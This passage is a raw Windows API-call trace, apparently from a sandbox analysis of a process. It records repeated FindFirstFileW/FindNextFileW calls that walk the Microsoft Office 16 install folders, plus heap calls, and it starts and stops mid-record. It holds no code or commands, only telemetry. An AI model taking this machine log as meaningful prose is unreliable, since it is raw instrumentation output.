ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116e5533, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUX.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OSMUXX~1.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116e5533, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116e5533, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1181684e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20337a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OUTLOO~1.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x117f066f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x117f066f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x117f066f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml", cAlternateFileName="OUTLOO~2.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x117f066f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x117f066f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2504a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivot.x-none.msi.16_mondoww.mcxml", cAlternateFileName="POWERP~1.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x123438ef, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x123438ef, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128a0e2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12801a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.x-none.msi.16_mondoww.mcxml", cAlternateFileName="POWERP~2.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xca698, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.x-none.msi.16_mondoww.mcxml", cAlternateFileName="PROJEC~1.MCX")) returned 1 [0278.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128a0e2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128a0e2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x268ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.x-none.msi.16_mondoww.mcxml", cAlternateFileName="PUBLIS~1.MCX")) returned 1 [0278.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c81c51, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x148572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.x-none.msi.16_mondoww.mcxml", cAlternateFileName="VISIOX~1.MCX")) returned 1 [0278.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c81c51, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c81c51, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c81c51, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml", cAlternateFileName="VISIOX~2.MCX")) returned 1 [0278.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128ed2a1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128ed2a1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17fba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.x-none.msi.16_mondoww.mcxml", cAlternateFileName="WORDX-~1.MCX")) returned 1 [0278.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128ed2a1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128ed2a1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17fba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.x-none.msi.16_mondoww.mcxml", cAlternateFileName="WORDX-~1.MCX")) returned 0 [0278.001] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0278.002] GetProcessHeap () returned 0xaf0000 [0278.002] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0278.002] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0278.002] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0278.002] GetProcessHeap () returned 0xaf0000 [0278.002] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0278.002] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0278.002] GetProcessHeap () returned 0xaf0000 [0278.002] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0278.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0278.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc912a1e2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc912a1e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0278.003] GetProcessHeap () returned 0xaf0000 [0278.003] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0278.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc912a1e2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc912a1e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0278.004] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc912a1e2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc912a1e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.004] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0278.004] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18d33e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18d33e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18d33e2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLKI.DLL", cAlternateFileName="")) returned 1 [0278.004] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98fae45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98fae45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIP10.HLP", cAlternateFileName="")) returned 1 [0278.004] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46a78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWIZRC.DLL", cAlternateFileName="")) returned 1 [0278.004] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x358f248, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x358f248, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x358f248, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x13260, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.VSL", cAlternateFileName="")) returned 1 [0278.004] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x358f248, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x358f248, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x358f248, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xc0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.VSL", cAlternateFileName="")) returned 1 [0278.005] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4580dcb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4580dcb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4580dcb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASSET.VRD", cAlternateFileName="")) returned 1 [0278.005] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4580dcb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4580dcb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4580dcb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC.HTM", cAlternateFileName="")) returned 1 [0278.005] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeRes.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0278.005] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9622ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9622ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef9622ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3058, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0278.005] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0278.005] GetProcessHeap () returned 0xaf0000 [0278.005] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a6270 [0278.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0278.006] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.006] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0278.006] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 0 [0278.006] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0278.006] GetProcessHeap () returned 0xaf0000 [0278.006] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a6270 | out: hHeap=0xaf0000) returned 1 [0278.006] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0278.006] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45348e5, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45348e5, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45348e5, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0278.006] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45348e5, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45348e5, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45348e5, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALEVENT.VRD", cAlternateFileName="")) returned 1 [0278.006] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf311d3eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf311d3eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3143659, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERTINTL.DLL", cAlternateFileName="")) returned 1 [0278.006] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9622ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9622ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef9622ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19490, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVWINTL.DLL", cAlternateFileName="")) returned 1 [0278.007] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45348e5, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45348e5, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4580dcb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="COFFEE.CSS", cAlternateFileName="")) returned 1 [0278.007] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa284551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ede, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Init.xsn", cAlternateFileName="COLLEC~2.XSN")) returned 1 [0278.007] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x401b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Sign.xsn", cAlternateFileName="COLLEC~1.XSN")) returned 1 [0278.007] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99b9a24, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99b9a24, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99b9a24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1 [0278.007] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="DATASE~1")) returned 1 [0278.007] GetProcessHeap () returned 0xaf0000 [0278.007] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a6270 [0278.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 